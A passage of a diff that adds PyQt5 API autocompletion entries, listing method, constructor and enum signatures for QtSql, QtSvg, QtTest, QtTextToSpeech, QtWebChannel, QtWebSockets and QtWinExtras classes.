+QtSql.QSqlResult.boundValueCount?4() -> int +QtSql.QSqlResult.boundValues?4() -> unknown-type +QtSql.QSqlResult.executedQuery?4() -> QString +QtSql.QSqlResult.boundValueName?4(int) -> QString +QtSql.QSqlResult.clear?4() +QtSql.QSqlResult.hasOutValues?4() -> bool +QtSql.QSqlResult.bindingSyntax?4() -> QSqlResult.BindingSyntax +QtSql.QSqlResult.data?4(int) -> QVariant +QtSql.QSqlResult.isNull?4(int) -> bool +QtSql.QSqlResult.reset?4(QString) -> bool +QtSql.QSqlResult.fetch?4(int) -> bool +QtSql.QSqlResult.fetchNext?4() -> bool +QtSql.QSqlResult.fetchPrevious?4() -> bool +QtSql.QSqlResult.fetchFirst?4() -> bool +QtSql.QSqlResult.fetchLast?4() -> bool +QtSql.QSqlResult.size?4() -> int +QtSql.QSqlResult.numRowsAffected?4() -> int +QtSql.QSqlResult.record?4() -> QSqlRecord +QtSql.QSqlResult.lastInsertId?4() -> QVariant +QtSql.QSql.NumericalPrecisionPolicy?10 +QtSql.QSql.NumericalPrecisionPolicy.LowPrecisionInt32?10 +QtSql.QSql.NumericalPrecisionPolicy.LowPrecisionInt64?10 +QtSql.QSql.NumericalPrecisionPolicy.LowPrecisionDouble?10 +QtSql.QSql.NumericalPrecisionPolicy.HighPrecision?10 +QtSql.QSql.TableType?10 +QtSql.QSql.TableType.Tables?10 +QtSql.QSql.TableType.SystemTables?10 +QtSql.QSql.TableType.Views?10 +QtSql.QSql.TableType.AllTables?10 +QtSql.QSql.ParamTypeFlag?10 +QtSql.QSql.ParamTypeFlag.In?10 +QtSql.QSql.ParamTypeFlag.Out?10 +QtSql.QSql.ParamTypeFlag.InOut?10 +QtSql.QSql.ParamTypeFlag.Binary?10 +QtSql.QSql.Location?10 +QtSql.QSql.Location.BeforeFirstRow?10 +QtSql.QSql.Location.AfterLastRow?10 +QtSql.QSql.ParamType?1() +QtSql.QSql.ParamType.__init__?1(self) +QtSql.QSql.ParamType?1(int) +QtSql.QSql.ParamType.__init__?1(self, int) +QtSql.QSql.ParamType?1(QSql.ParamType) +QtSql.QSql.ParamType.__init__?1(self, QSql.ParamType) +QtSvg.QGraphicsSvgItem?1(QGraphicsItem parent=None) +QtSvg.QGraphicsSvgItem.__init__?1(self, QGraphicsItem parent=None) +QtSvg.QGraphicsSvgItem?1(QString, QGraphicsItem parent=None) +QtSvg.QGraphicsSvgItem.__init__?1(self, QString, QGraphicsItem parent=None) +QtSvg.QGraphicsSvgItem.setSharedRenderer?4(QSvgRenderer) +QtSvg.QGraphicsSvgItem.renderer?4() -> QSvgRenderer +QtSvg.QGraphicsSvgItem.setElementId?4(QString) +QtSvg.QGraphicsSvgItem.elementId?4() -> QString +QtSvg.QGraphicsSvgItem.setMaximumCacheSize?4(QSize) +QtSvg.QGraphicsSvgItem.maximumCacheSize?4() -> QSize +QtSvg.QGraphicsSvgItem.boundingRect?4() -> QRectF +QtSvg.QGraphicsSvgItem.paint?4(QPainter, QStyleOptionGraphicsItem, QWidget widget=None) +QtSvg.QGraphicsSvgItem.type?4() -> int +QtSvg.QSvgGenerator?1() +QtSvg.QSvgGenerator.__init__?1(self) +QtSvg.QSvgGenerator.size?4() -> QSize +QtSvg.QSvgGenerator.setSize?4(QSize) +QtSvg.QSvgGenerator.fileName?4() -> QString +QtSvg.QSvgGenerator.setFileName?4(QString) +QtSvg.QSvgGenerator.outputDevice?4() -> QIODevice +QtSvg.QSvgGenerator.setOutputDevice?4(QIODevice) +QtSvg.QSvgGenerator.resolution?4() -> int +QtSvg.QSvgGenerator.setResolution?4(int) +QtSvg.QSvgGenerator.title?4() -> QString +QtSvg.QSvgGenerator.setTitle?4(QString) +QtSvg.QSvgGenerator.description?4() -> QString +QtSvg.QSvgGenerator.setDescription?4(QString) +QtSvg.QSvgGenerator.viewBox?4() -> QRect +QtSvg.QSvgGenerator.viewBoxF?4() -> QRectF +QtSvg.QSvgGenerator.setViewBox?4(QRect) +QtSvg.QSvgGenerator.setViewBox?4(QRectF) +QtSvg.QSvgGenerator.paintEngine?4() -> QPaintEngine +QtSvg.QSvgGenerator.metric?4(QPaintDevice.PaintDeviceMetric) -> int +QtSvg.QSvgRenderer?1(QObject parent=None) +QtSvg.QSvgRenderer.__init__?1(self, QObject parent=None) +QtSvg.QSvgRenderer?1(QString, QObject parent=None) +QtSvg.QSvgRenderer.__init__?1(self, QString, QObject parent=None) +QtSvg.QSvgRenderer?1(QByteArray, QObject parent=None) +QtSvg.QSvgRenderer.__init__?1(self, QByteArray, QObject parent=None) +QtSvg.QSvgRenderer?1(QXmlStreamReader, QObject parent=None) +QtSvg.QSvgRenderer.__init__?1(self, QXmlStreamReader, QObject parent=None) +QtSvg.QSvgRenderer.isValid?4() -> bool +QtSvg.QSvgRenderer.defaultSize?4() -> QSize +QtSvg.QSvgRenderer.elementExists?4(QString) -> bool +QtSvg.QSvgRenderer.viewBox?4() -> QRect +QtSvg.QSvgRenderer.viewBoxF?4() -> QRectF +QtSvg.QSvgRenderer.setViewBox?4(QRect) +QtSvg.QSvgRenderer.setViewBox?4(QRectF) +QtSvg.QSvgRenderer.animated?4() -> bool +QtSvg.QSvgRenderer.boundsOnElement?4(QString) -> QRectF +QtSvg.QSvgRenderer.framesPerSecond?4() -> int +QtSvg.QSvgRenderer.setFramesPerSecond?4(int) +QtSvg.QSvgRenderer.currentFrame?4() -> int +QtSvg.QSvgRenderer.setCurrentFrame?4(int) +QtSvg.QSvgRenderer.animationDuration?4() -> int +QtSvg.QSvgRenderer.load?4(QString) -> bool +QtSvg.QSvgRenderer.load?4(QByteArray) -> bool +QtSvg.QSvgRenderer.load?4(QXmlStreamReader) -> bool +QtSvg.QSvgRenderer.render?4(QPainter) +QtSvg.QSvgRenderer.render?4(QPainter, QRectF) +QtSvg.QSvgRenderer.render?4(QPainter, QString, QRectF bounds=QRectF()) +QtSvg.QSvgRenderer.repaintNeeded?4() +QtSvg.QSvgRenderer.aspectRatioMode?4() -> Qt.AspectRatioMode +QtSvg.QSvgRenderer.setAspectRatioMode?4(Qt.AspectRatioMode) +QtSvg.QSvgRenderer.transformForElement?4(QString) -> QTransform +QtSvg.QSvgWidget?1(QWidget parent=None) +QtSvg.QSvgWidget.__init__?1(self, QWidget parent=None) +QtSvg.QSvgWidget?1(QString, QWidget parent=None) +QtSvg.QSvgWidget.__init__?1(self, QString, QWidget parent=None) +QtSvg.QSvgWidget.renderer?4() -> QSvgRenderer +QtSvg.QSvgWidget.sizeHint?4() -> QSize +QtSvg.QSvgWidget.load?4(QString) +QtSvg.QSvgWidget.load?4(QByteArray) +QtSvg.QSvgWidget.paintEvent?4(QPaintEvent) +QtTest.QAbstractItemModelTester.FailureReportingMode?10 +QtTest.QAbstractItemModelTester.FailureReportingMode.QtTest?10 +QtTest.QAbstractItemModelTester.FailureReportingMode.Warning?10 +QtTest.QAbstractItemModelTester.FailureReportingMode.Fatal?10 +QtTest.QAbstractItemModelTester?1(QAbstractItemModel, QObject parent=None) +QtTest.QAbstractItemModelTester.__init__?1(self, QAbstractItemModel, QObject parent=None) +QtTest.QAbstractItemModelTester?1(QAbstractItemModel, QAbstractItemModelTester.FailureReportingMode, QObject parent=None) +QtTest.QAbstractItemModelTester.__init__?1(self, QAbstractItemModel, QAbstractItemModelTester.FailureReportingMode, QObject parent=None) +QtTest.QAbstractItemModelTester.model?4() -> QAbstractItemModel +QtTest.QAbstractItemModelTester.failureReportingMode?4() -> QAbstractItemModelTester.FailureReportingMode +QtTest.QSignalSpy?1(object) +QtTest.QSignalSpy.__init__?1(self, object) +QtTest.QSignalSpy?1(QObject, QMetaMethod) +QtTest.QSignalSpy.__init__?1(self, QObject, QMetaMethod) +QtTest.QSignalSpy.isValid?4() -> bool +QtTest.QSignalSpy.signal?4() -> QByteArray +QtTest.QSignalSpy.wait?4(int timeout=5000) -> bool +QtTest.QTest.KeyAction?10 +QtTest.QTest.KeyAction.Press?10 +QtTest.QTest.KeyAction.Release?10 +QtTest.QTest.KeyAction.Click?10 +QtTest.QTest.KeyAction.Shortcut?10 +QtTest.QTest.qSleep?4(int) +QtTest.QTest.keyClick?4(QWidget, Qt.Key, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keyClick?4(QWidget, str, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keyClicks?4(QWidget, QString, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keyEvent?4(QTest.KeyAction, QWidget, Qt.Key, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keyEvent?4(QTest.KeyAction, QWidget, str, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keyPress?4(QWidget, Qt.Key, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keyPress?4(QWidget, str, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keyRelease?4(QWidget, Qt.Key, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keyRelease?4(QWidget, str, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keySequence?4(QWidget, QKeySequence) +QtTest.QTest.keyEvent?4(QTest.KeyAction, QWindow, Qt.Key, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keyEvent?4(QTest.KeyAction, QWindow, str, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keyClick?4(QWindow, Qt.Key, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keyClick?4(QWindow, str, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keyPress?4(QWindow, Qt.Key, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keyPress?4(QWindow, str, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keyRelease?4(QWindow, Qt.Key, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keyRelease?4(QWindow, str, Qt.KeyboardModifiers modifier=Qt.NoModifier, int delay=-1) +QtTest.QTest.keySequence?4(QWindow, QKeySequence) +QtTest.QTest.mouseClick?4(QWidget, Qt.MouseButton, Qt.KeyboardModifiers modifier=Qt.KeyboardModifiers(), QPoint pos=QPoint(), int delay=-1) +QtTest.QTest.mouseDClick?4(QWidget, Qt.MouseButton, Qt.KeyboardModifiers modifier=Qt.KeyboardModifiers(), QPoint pos=QPoint(), int delay=-1) +QtTest.QTest.mouseMove?4(QWidget, QPoint pos=QPoint(), int delay=-1) +QtTest.QTest.mousePress?4(QWidget, Qt.MouseButton, Qt.KeyboardModifiers modifier=Qt.KeyboardModifiers(), QPoint pos=QPoint(), int delay=-1) +QtTest.QTest.mouseRelease?4(QWidget, Qt.MouseButton, Qt.KeyboardModifiers modifier=Qt.KeyboardModifiers(), QPoint pos=QPoint(), int delay=-1) +QtTest.QTest.mousePress?4(QWindow, Qt.MouseButton, Qt.KeyboardModifiers modifier=Qt.KeyboardModifiers(), QPoint pos=QPoint(), int delay=-1) +QtTest.QTest.mouseRelease?4(QWindow, Qt.MouseButton, Qt.KeyboardModifiers modifier=Qt.KeyboardModifiers(), QPoint pos=QPoint(), int delay=-1) +QtTest.QTest.mouseClick?4(QWindow, Qt.MouseButton, Qt.KeyboardModifiers modifier=Qt.KeyboardModifiers(), QPoint pos=QPoint(), int delay=-1) +QtTest.QTest.mouseDClick?4(QWindow, Qt.MouseButton, Qt.KeyboardModifiers modifier=Qt.KeyboardModifiers(), QPoint pos=QPoint(), int delay=-1) +QtTest.QTest.mouseMove?4(QWindow, QPoint pos=QPoint(), int delay=-1) +QtTest.QTest.qWait?4(int) +QtTest.QTest.qWaitForWindowActive?4(QWindow, int timeout=5000) -> bool +QtTest.QTest.qWaitForWindowExposed?4(QWindow, int timeout=5000) -> bool +QtTest.QTest.qWaitForWindowActive?4(QWidget, int timeout=5000) -> bool +QtTest.QTest.qWaitForWindowExposed?4(QWidget, int timeout=5000) -> bool +QtTest.QTest.touchEvent?4(QWidget, QTouchDevice) -> QTest.QTouchEventSequence +QtTest.QTest.touchEvent?4(QWindow, QTouchDevice) -> QTest.QTouchEventSequence +QtTest.QTest.QTouchEventSequence?1(QTest.QTouchEventSequence) +QtTest.QTest.QTouchEventSequence.__init__?1(self, QTest.QTouchEventSequence) +QtTest.QTest.QTouchEventSequence.press?4(int, QPoint, QWindow window=None) -> QTest.QTouchEventSequence +QtTest.QTest.QTouchEventSequence.move?4(int, QPoint, QWindow window=None) -> QTest.QTouchEventSequence +QtTest.QTest.QTouchEventSequence.release?4(int, QPoint, QWindow window=None) -> QTest.QTouchEventSequence +QtTest.QTest.QTouchEventSequence.stationary?4(int) -> QTest.QTouchEventSequence +QtTest.QTest.QTouchEventSequence.press?4(int, QPoint, QWidget) -> QTest.QTouchEventSequence +QtTest.QTest.QTouchEventSequence.move?4(int, QPoint, QWidget) -> QTest.QTouchEventSequence +QtTest.QTest.QTouchEventSequence.release?4(int, QPoint, QWidget) -> QTest.QTouchEventSequence +QtTest.QTest.QTouchEventSequence.commit?4(bool processEvents=True) +QtTextToSpeech.QTextToSpeech.State?10 +QtTextToSpeech.QTextToSpeech.State.Ready?10 +QtTextToSpeech.QTextToSpeech.State.Speaking?10 +QtTextToSpeech.QTextToSpeech.State.Paused?10 +QtTextToSpeech.QTextToSpeech.State.BackendError?10 +QtTextToSpeech.QTextToSpeech?1(QObject parent=None) +QtTextToSpeech.QTextToSpeech.__init__?1(self, QObject parent=None) +QtTextToSpeech.QTextToSpeech?1(QString, QObject parent=None) +QtTextToSpeech.QTextToSpeech.__init__?1(self, QString, QObject parent=None) +QtTextToSpeech.QTextToSpeech.state?4() -> QTextToSpeech.State +QtTextToSpeech.QTextToSpeech.availableLocales?4() -> unknown-type +QtTextToSpeech.QTextToSpeech.locale?4() -> QLocale +QtTextToSpeech.QTextToSpeech.voice?4() -> QVoice +QtTextToSpeech.QTextToSpeech.availableVoices?4() -> unknown-type +QtTextToSpeech.QTextToSpeech.rate?4() -> float +QtTextToSpeech.QTextToSpeech.pitch?4() -> float +QtTextToSpeech.QTextToSpeech.volume?4() -> float +QtTextToSpeech.QTextToSpeech.availableEngines?4() -> QStringList +QtTextToSpeech.QTextToSpeech.say?4(QString) +QtTextToSpeech.QTextToSpeech.stop?4() +QtTextToSpeech.QTextToSpeech.pause?4() +QtTextToSpeech.QTextToSpeech.resume?4() +QtTextToSpeech.QTextToSpeech.setLocale?4(QLocale) +QtTextToSpeech.QTextToSpeech.setRate?4(float) +QtTextToSpeech.QTextToSpeech.setPitch?4(float) +QtTextToSpeech.QTextToSpeech.setVolume?4(float) +QtTextToSpeech.QTextToSpeech.setVoice?4(QVoice) +QtTextToSpeech.QTextToSpeech.stateChanged?4(QTextToSpeech.State) +QtTextToSpeech.QTextToSpeech.localeChanged?4(QLocale) +QtTextToSpeech.QTextToSpeech.rateChanged?4(float) +QtTextToSpeech.QTextToSpeech.pitchChanged?4(float) +QtTextToSpeech.QTextToSpeech.volumeChanged?4(float) +QtTextToSpeech.QTextToSpeech.volumeChanged?4(int) +QtTextToSpeech.QTextToSpeech.voiceChanged?4(QVoice) +QtTextToSpeech.QVoice.Age?10 +QtTextToSpeech.QVoice.Age.Child?10 +QtTextToSpeech.QVoice.Age.Teenager?10 +QtTextToSpeech.QVoice.Age.Adult?10 +QtTextToSpeech.QVoice.Age.Senior?10 +QtTextToSpeech.QVoice.Age.Other?10 +QtTextToSpeech.QVoice.Gender?10 +QtTextToSpeech.QVoice.Gender.Male?10 +QtTextToSpeech.QVoice.Gender.Female?10 +QtTextToSpeech.QVoice.Gender.Unknown?10 +QtTextToSpeech.QVoice?1() +QtTextToSpeech.QVoice.__init__?1(self) +QtTextToSpeech.QVoice?1(QVoice) +QtTextToSpeech.QVoice.__init__?1(self, QVoice) +QtTextToSpeech.QVoice.name?4() -> QString +QtTextToSpeech.QVoice.gender?4() -> QVoice.Gender +QtTextToSpeech.QVoice.age?4() -> QVoice.Age +QtTextToSpeech.QVoice.genderName?4(QVoice.Gender) -> QString +QtTextToSpeech.QVoice.ageName?4(QVoice.Age) -> QString +QtWebChannel.QWebChannel?1(QObject parent=None) +QtWebChannel.QWebChannel.__init__?1(self, QObject parent=None) +QtWebChannel.QWebChannel.registerObjects?4(unknown-type) +QtWebChannel.QWebChannel.registeredObjects?4() -> unknown-type +QtWebChannel.QWebChannel.registerObject?4(QString, QObject) +QtWebChannel.QWebChannel.deregisterObject?4(QObject) +QtWebChannel.QWebChannel.blockUpdates?4() -> bool +QtWebChannel.QWebChannel.setBlockUpdates?4(bool) +QtWebChannel.QWebChannel.blockUpdatesChanged?4(bool) +QtWebChannel.QWebChannel.connectTo?4(QWebChannelAbstractTransport) +QtWebChannel.QWebChannel.disconnectFrom?4(QWebChannelAbstractTransport) +QtWebChannel.QWebChannelAbstractTransport?1(QObject parent=None) +QtWebChannel.QWebChannelAbstractTransport.__init__?1(self, QObject parent=None) +QtWebChannel.QWebChannelAbstractTransport.sendMessage?4(QJsonObject) +QtWebChannel.QWebChannelAbstractTransport.messageReceived?4(QJsonObject, QWebChannelAbstractTransport) +QtWebSockets.QMaskGenerator?1(QObject parent=None) +QtWebSockets.QMaskGenerator.__init__?1(self, QObject parent=None) +QtWebSockets.QMaskGenerator.seed?4() -> bool +QtWebSockets.QMaskGenerator.nextMask?4() -> int +QtWebSockets.QWebSocket?1(QString origin='', QWebSocketProtocol.Version version=QWebSocketProtocol.VersionLatest, QObject parent=None) +QtWebSockets.QWebSocket.__init__?1(self, QString origin='', QWebSocketProtocol.Version version=QWebSocketProtocol.VersionLatest, QObject parent=None) +QtWebSockets.QWebSocket.abort?4() +QtWebSockets.QWebSocket.error?4() -> QAbstractSocket.SocketError +QtWebSockets.QWebSocket.errorString?4() -> QString +QtWebSockets.QWebSocket.flush?4() -> bool +QtWebSockets.QWebSocket.isValid?4() -> bool +QtWebSockets.QWebSocket.localAddress?4() -> QHostAddress +QtWebSockets.QWebSocket.localPort?4() -> int +QtWebSockets.QWebSocket.pauseMode?4() -> QAbstractSocket.PauseModes +QtWebSockets.QWebSocket.peerAddress?4() -> QHostAddress +QtWebSockets.QWebSocket.peerName?4() -> QString +QtWebSockets.QWebSocket.peerPort?4() -> int +QtWebSockets.QWebSocket.proxy?4() -> QNetworkProxy +QtWebSockets.QWebSocket.setProxy?4(QNetworkProxy) +QtWebSockets.QWebSocket.setMaskGenerator?4(QMaskGenerator) +QtWebSockets.QWebSocket.maskGenerator?4() -> QMaskGenerator +QtWebSockets.QWebSocket.readBufferSize?4() -> int +QtWebSockets.QWebSocket.setReadBufferSize?4(int) +QtWebSockets.QWebSocket.resume?4() +QtWebSockets.QWebSocket.setPauseMode?4(QAbstractSocket.PauseModes) +QtWebSockets.QWebSocket.state?4() -> QAbstractSocket.SocketState +QtWebSockets.QWebSocket.version?4() -> QWebSocketProtocol.Version +QtWebSockets.QWebSocket.resourceName?4() -> QString +QtWebSockets.QWebSocket.requestUrl?4() -> QUrl +QtWebSockets.QWebSocket.origin?4() -> QString +QtWebSockets.QWebSocket.closeCode?4() -> QWebSocketProtocol.CloseCode +QtWebSockets.QWebSocket.closeReason?4() -> QString +QtWebSockets.QWebSocket.sendTextMessage?4(QString) -> int +QtWebSockets.QWebSocket.sendBinaryMessage?4(QByteArray) -> int +QtWebSockets.QWebSocket.ignoreSslErrors?4(unknown-type) +QtWebSockets.QWebSocket.setSslConfiguration?4(QSslConfiguration) +QtWebSockets.QWebSocket.sslConfiguration?4() -> QSslConfiguration +QtWebSockets.QWebSocket.request?4() -> QNetworkRequest +QtWebSockets.QWebSocket.close?4(QWebSocketProtocol.CloseCode closeCode=QWebSocketProtocol.CloseCodeNormal, QString reason='') +QtWebSockets.QWebSocket.open?4(QUrl) +QtWebSockets.QWebSocket.open?4(QNetworkRequest) +QtWebSockets.QWebSocket.ping?4(QByteArray payload=QByteArray()) +QtWebSockets.QWebSocket.ignoreSslErrors?4() +QtWebSockets.QWebSocket.aboutToClose?4() +QtWebSockets.QWebSocket.connected?4() +QtWebSockets.QWebSocket.disconnected?4() +QtWebSockets.QWebSocket.stateChanged?4(QAbstractSocket.SocketState) +QtWebSockets.QWebSocket.proxyAuthenticationRequired?4(QNetworkProxy, QAuthenticator) +QtWebSockets.QWebSocket.readChannelFinished?4() +QtWebSockets.QWebSocket.textFrameReceived?4(QString, bool) +QtWebSockets.QWebSocket.binaryFrameReceived?4(QByteArray, bool) +QtWebSockets.QWebSocket.textMessageReceived?4(QString) +QtWebSockets.QWebSocket.binaryMessageReceived?4(QByteArray) +QtWebSockets.QWebSocket.error?4(QAbstractSocket.SocketError) +QtWebSockets.QWebSocket.pong?4(int, QByteArray) +QtWebSockets.QWebSocket.bytesWritten?4(int) +QtWebSockets.QWebSocket.sslErrors?4(unknown-type) +QtWebSockets.QWebSocket.preSharedKeyAuthenticationRequired?4(QSslPreSharedKeyAuthenticator) +QtWebSockets.QWebSocket.bytesToWrite?4() -> int +QtWebSockets.QWebSocket.setMaxAllowedIncomingFrameSize?4(int) +QtWebSockets.QWebSocket.maxAllowedIncomingFrameSize?4() -> int +QtWebSockets.QWebSocket.setMaxAllowedIncomingMessageSize?4(int) +QtWebSockets.QWebSocket.maxAllowedIncomingMessageSize?4() -> int +QtWebSockets.QWebSocket.maxIncomingMessageSize?4() -> int +QtWebSockets.QWebSocket.maxIncomingFrameSize?4() -> int +QtWebSockets.QWebSocket.setOutgoingFrameSize?4(int) +QtWebSockets.QWebSocket.outgoingFrameSize?4() -> int +QtWebSockets.QWebSocket.maxOutgoingFrameSize?4() -> int +QtWebSockets.QWebSocketCorsAuthenticator?1(QString) +QtWebSockets.QWebSocketCorsAuthenticator.__init__?1(self, QString) +QtWebSockets.QWebSocketCorsAuthenticator?1(QWebSocketCorsAuthenticator) +QtWebSockets.QWebSocketCorsAuthenticator.__init__?1(self, QWebSocketCorsAuthenticator) +QtWebSockets.QWebSocketCorsAuthenticator.swap?4(QWebSocketCorsAuthenticator) +QtWebSockets.QWebSocketCorsAuthenticator.origin?4() -> QString +QtWebSockets.QWebSocketCorsAuthenticator.setAllowed?4(bool) +QtWebSockets.QWebSocketCorsAuthenticator.allowed?4() -> bool +QtWebSockets.QWebSocketProtocol.CloseCode?10 +QtWebSockets.QWebSocketProtocol.CloseCode.CloseCodeNormal?10 +QtWebSockets.QWebSocketProtocol.CloseCode.CloseCodeGoingAway?10 +QtWebSockets.QWebSocketProtocol.CloseCode.CloseCodeProtocolError?10 +QtWebSockets.QWebSocketProtocol.CloseCode.CloseCodeDatatypeNotSupported?10 +QtWebSockets.QWebSocketProtocol.CloseCode.CloseCodeReserved1004?10 +QtWebSockets.QWebSocketProtocol.CloseCode.CloseCodeMissingStatusCode?10 +QtWebSockets.QWebSocketProtocol.CloseCode.CloseCodeAbnormalDisconnection?10 +QtWebSockets.QWebSocketProtocol.CloseCode.CloseCodeWrongDatatype?10 +QtWebSockets.QWebSocketProtocol.CloseCode.CloseCodePolicyViolated?10 +QtWebSockets.QWebSocketProtocol.CloseCode.CloseCodeTooMuchData?10 +QtWebSockets.QWebSocketProtocol.CloseCode.CloseCodeMissingExtension?10 +QtWebSockets.QWebSocketProtocol.CloseCode.CloseCodeBadOperation?10 +QtWebSockets.QWebSocketProtocol.CloseCode.CloseCodeTlsHandshakeFailed?10 +QtWebSockets.QWebSocketProtocol.Version?10 +QtWebSockets.QWebSocketProtocol.Version.VersionUnknown?10 +QtWebSockets.QWebSocketProtocol.Version.Version0?10 +QtWebSockets.QWebSocketProtocol.Version.Version4?10 +QtWebSockets.QWebSocketProtocol.Version.Version5?10 +QtWebSockets.QWebSocketProtocol.Version.Version6?10 +QtWebSockets.QWebSocketProtocol.Version.Version7?10 +QtWebSockets.QWebSocketProtocol.Version.Version8?10 +QtWebSockets.QWebSocketProtocol.Version.Version13?10 +QtWebSockets.QWebSocketProtocol.Version.VersionLatest?10 +QtWebSockets.QWebSocketServer.SslMode?10 +QtWebSockets.QWebSocketServer.SslMode.SecureMode?10 +QtWebSockets.QWebSocketServer.SslMode.NonSecureMode?10 +QtWebSockets.QWebSocketServer?1(QString, QWebSocketServer.SslMode, QObject parent=None) +QtWebSockets.QWebSocketServer.__init__?1(self, QString, QWebSocketServer.SslMode, QObject parent=None) +QtWebSockets.QWebSocketServer.listen?4(QHostAddress address=QHostAddress.SpecialAddress.Any, int port=0) -> bool +QtWebSockets.QWebSocketServer.close?4() +QtWebSockets.QWebSocketServer.isListening?4() -> bool +QtWebSockets.QWebSocketServer.setMaxPendingConnections?4(int) +QtWebSockets.QWebSocketServer.maxPendingConnections?4() -> int +QtWebSockets.QWebSocketServer.serverPort?4() -> int +QtWebSockets.QWebSocketServer.serverAddress?4() -> QHostAddress +QtWebSockets.QWebSocketServer.secureMode?4() -> QWebSocketServer.SslMode +QtWebSockets.QWebSocketServer.setSocketDescriptor?4(int) -> bool +QtWebSockets.QWebSocketServer.socketDescriptor?4() -> int +QtWebSockets.QWebSocketServer.hasPendingConnections?4() -> bool +QtWebSockets.QWebSocketServer.nextPendingConnection?4() -> QWebSocket +QtWebSockets.QWebSocketServer.error?4() -> QWebSocketProtocol.CloseCode +QtWebSockets.QWebSocketServer.errorString?4() -> QString +QtWebSockets.QWebSocketServer.pauseAccepting?4() +QtWebSockets.QWebSocketServer.resumeAccepting?4() +QtWebSockets.QWebSocketServer.setServerName?4(QString) +QtWebSockets.QWebSocketServer.serverName?4() -> QString +QtWebSockets.QWebSocketServer.setProxy?4(QNetworkProxy) +QtWebSockets.QWebSocketServer.proxy?4() -> QNetworkProxy +QtWebSockets.QWebSocketServer.setSslConfiguration?4(QSslConfiguration) +QtWebSockets.QWebSocketServer.sslConfiguration?4() -> QSslConfiguration +QtWebSockets.QWebSocketServer.supportedVersions?4() -> unknown-type +QtWebSockets.QWebSocketServer.serverUrl?4() -> QUrl +QtWebSockets.QWebSocketServer.handleConnection?4(QTcpSocket) +QtWebSockets.QWebSocketServer.acceptError?4(QAbstractSocket.SocketError) +QtWebSockets.QWebSocketServer.serverError?4(QWebSocketProtocol.CloseCode) +QtWebSockets.QWebSocketServer.originAuthenticationRequired?4(QWebSocketCorsAuthenticator) +QtWebSockets.QWebSocketServer.newConnection?4() +QtWebSockets.QWebSocketServer.peerVerifyError?4(QSslError) +QtWebSockets.QWebSocketServer.sslErrors?4(unknown-type) +QtWebSockets.QWebSocketServer.closed?4() +QtWebSockets.QWebSocketServer.preSharedKeyAuthenticationRequired?4(QSslPreSharedKeyAuthenticator) +QtWebSockets.QWebSocketServer.setNativeDescriptor?4(qintptr) -> bool +QtWebSockets.QWebSocketServer.nativeDescriptor?4() -> qintptr +QtWebSockets.QWebSocketServer.setHandshakeTimeout?4(int) +QtWebSockets.QWebSocketServer.handshakeTimeoutMS?4() -> int +QtWinExtras.QtWin.WindowFlip3DPolicy?10 +QtWinExtras.QtWin.WindowFlip3DPolicy.FlipDefault?10 +QtWinExtras.QtWin.WindowFlip3DPolicy.FlipExcludeBelow?10 +QtWinExtras.QtWin.WindowFlip3DPolicy.FlipExcludeAbove?10 +QtWinExtras.QtWin.HBitmapFormat?10 +QtWinExtras.QtWin.HBitmapFormat.HBitmapNoAlpha?10 +QtWinExtras.QtWin.HBitmapFormat.HBitmapPremultipliedAlpha?10 +QtWinExtras.QtWin.HBitmapFormat.HBitmapAlpha?10 +QtWinExtras.QtWin.createMask?4(QBitmap) -> sip.voidptr +QtWinExtras.QtWin.toHBITMAP?4(QPixmap, QtWin.HBitmapFormat format=QtWin.HBitmapNoAlpha) -> sip.voidptr +QtWinExtras.QtWin.fromHBITMAP?4(sip.voidptr, QtWin.HBitmapFormat format=QtWin.HBitmapNoAlpha) -> QPixmap +QtWinExtras.QtWin.toHICON?4(QPixmap) -> sip.voidptr +QtWinExtras.QtWin.imageFromHBITMAP?4(sip.voidptr, sip.voidptr, int, int) -> QImage +QtWinExtras.QtWin.fromHICON?4(sip.voidptr) -> QPixmap +QtWinExtras.QtWin.toHRGN?4(QRegion) -> sip.voidptr +QtWinExtras.QtWin.fromHRGN?4(sip.voidptr) -> QRegion +QtWinExtras.QtWin.stringFromHresult?4(int) -> QString +QtWinExtras.QtWin.errorStringFromHresult?4(int) -> QString +QtWinExtras.QtWin.colorizationColor?4() -> (QColor, bool) +QtWinExtras.QtWin.realColorizationColor?4() -> QColor +QtWinExtras.QtWin.setWindowExcludedFromPeek?4(QWindow, bool) +QtWinExtras.QtWin.isWindowExcludedFromPeek?4(QWindow) -> bool +QtWinExtras.QtWin.setWindowDisallowPeek?4(QWindow, bool) +QtWinExtras.QtWin.isWindowPeekDisallowed?4(QWindow) -> bool +QtWinExtras.QtWin.setWindowFlip3DPolicy?4(QWindow, QtWin.WindowFlip3DPolicy) +QtWinExtras.QtWin.windowFlip3DPolicy?4(QWindow) -> QtWin.WindowFlip3DPolicy +QtWinExtras.QtWin.extendFrameIntoClientArea?4(QWindow, int, int, int, int) +QtWinExtras.QtWin.extendFrameIntoClientArea?4(QWindow, QMargins) +QtWinExtras.QtWin.resetExtendedFrame?4(QWindow) +QtWinExtras.QtWin.enableBlurBehindWindow?4(QWindow, QRegion) +QtWinExtras.QtWin.enableBlurBehindWindow?4(QWindow) +QtWinExtras.QtWin.disableBlurBehindWindow?4(QWindow) +QtWinExtras.QtWin.isCompositionEnabled?4() -> bool +QtWinExtras.QtWin.setCompositionEnabled?4(bool) 